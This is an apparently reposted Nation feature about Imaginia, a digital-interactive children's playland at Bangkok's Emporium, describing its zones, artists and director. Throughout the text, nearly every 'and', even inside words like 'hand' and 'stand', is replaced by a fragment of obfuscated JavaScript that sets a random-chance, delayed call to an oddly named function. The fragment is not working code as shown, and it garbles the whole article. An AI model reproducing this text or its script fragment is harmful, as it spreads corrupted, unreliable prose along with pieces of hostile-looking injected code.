Sound Cloud

New world of IMAGINATION IMAGINIA AT THE EMPORIUM OFFERS CHILDREN THE CHANCE TO OVERCOME CHALLENGES WHILE HAVING LOTS OF FUN (The Nation)

KUPLUTHAI PUNGKANON

THE NATION

A PLAYLAND DESIGNEDto stimulate the imaginations of youngsters andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and help them think for themselves, the newly opened Imaginia enriches both playing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and learning experiences through art, music, literature andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and drama,all of them enhanced by the latest in digital interactive technology andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and in three languages – Thai, English andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Japanese.

The brainchild of event organiser CMO, Imaginia is the ideal answer for children whose parents are so busy with their professional lives that they don’t have time to dream up games for the little ones but do have the cash andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the desire to offer them the best money can buy.

It’s a place where the entire family can come together andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and participate in engaging activities that bring classic andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and contemporary playtime into the digital world

A professional storyteller is on handom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and at Imaginia Town Hall to tell the youngsters such much-loved stories as “Hansel andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Gretel”, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and “Momotaro” but instead of reading from a book, the tales unfold on a 180-degree screen in a 360-degree theatre with plenty of sound effects. The language in which the story is told is not a problem either, with kids of all nationalities happily interacting with the characters on the screen

This is just one example of how CMO Group has intelligently used its expertise to develop 19 zones that fuel imaginative energy in a world that is increasingly hooked at digital interactive technology. It’s spent more than Bt50 million on Imaginia, which boasts many as 20 LED touch screens andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and three LED walls.

Spread over 1,400 square metres of prime commercial space inside the Emporium, the educational playground uses the RFID system technology to ensure total safety andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and security.

The experience starts in the “Magical Theatre”, where children have their photos taken before choosing an animal mask from their favourite tale on the computer. In seconds their new characters will appear on a large screen andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the images can also be sent to their mothers’email or shared on the social media.

At the Art Gallery, which is fitted out with some of the best-known masterpieces in the world, children not only have the freedom to explore selected works by da Vinci andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Van Gogh andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and but also to compose a new look for the “Mona Lisa”. The collection also includes digital copies of paintings by National Artist Chalermchai Kositpipat andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and illustrator ML Chirathorn “Kru To” Chirapravati. The youngsters are invited to recompose Chalermchai’s heaven on the touch screen, moving around his winged animals andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the sun, moon andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and sky andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and giving them the colours they fancy. They’ll also have fun dressing the dolls in Chirathorn’s famous illustration in one of the many clothing designs that Kru To has prepared for them.

And for those tired of the digital world andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and wanting pen andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and paper, there’s a traditional colouring room too.

Chalermchai, who says he loved drawing as a child, is enthusiastic about the project. “It’s important that children are nurtured in an artistic environment,” he says. “Thai education lacks composition study yet this is a very important subject. Thai teachers tend to tell children to copy the model, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and because they can’t think for themselves, the youngsters are unable to create. Art comes from the inside.”

Chirathorn echoes those sentiments, telling XP that he used to draw dolls andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and outfits for his young cousin. “I also remembered playing in a mock-up photographic studio but instead of using a real camera, I would draw my cousin’s portrait. I’ve never thought that I’d eventually do this for a living. I love playing so I’m very happy to be part of this project,” he says.

Also in the art gallery zone is the “Wonder Car”, a customised car with a dragon, known as Lumos, perched on top. Here too the little ones are invited to change or add to the design using six screens enveloped in a stone-shaped design station. Their ideas appear immediately on the mock-up leading to giggles of delight.

“The Shadow Forest” is another interesting zone taking images beyond even a child’s wildest imagination.Here the kids standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and still andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and see what can happen with their shadows, as these develop wings, turn into a tree or even collect stars.

The biggest challenge, says Imaginia’s director Muanfun Sirikorn Kunawong, is balancing the traditional with the digital.

“We’d like to have a playlandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and that is different from school andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and which always has different inputs to their creativity. They should be able to draw with their handom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands or touch with their fingers as well as read digitally or with sit with conventional books in the Book Cave, which is a small library where parents can read with their children.

“So the playlandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and is very dynamic. We also love to see children to play with wooden toys andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the Builder’s Studio from Pin Toys andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Imaginia Fort are both ideal for challenging toddlers. These zones help promote the development of handom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and-eye coordination as well as enhance their concentration andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and problem solving. They can be like little engineers,” she adds.

“In a world where people are marrying less andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and less andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the birth rate is dropping, children are truly precious.Mothers want the best in everything; be it for education or play. Arts, music, wooden toys, or physical activities can all help to enhance imagination andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and develop wellrounded children. Connecting with children is like opening new boxes, it is always interesting.”

A favourite physical challenge is the “Time Tube Slider” an extraordinary interactive slide through a wooden mountain range. To reach it, children have to climb the inflatable mountain known as Meteori Peak,andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and this again promotes their concentration andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and coordination.

Another hit with the little ones is the “Dream Jungle”,a netscape playground created by textile designer Ploennchan Vinyarat. Boasting an interactive trampoline to warm up on before heading up to the dragon’s cave, Ploenchan refers to the jungle as her gigantic cradle.

“The children who come here are tireless. It’s a great place to release energy,” she says.


admin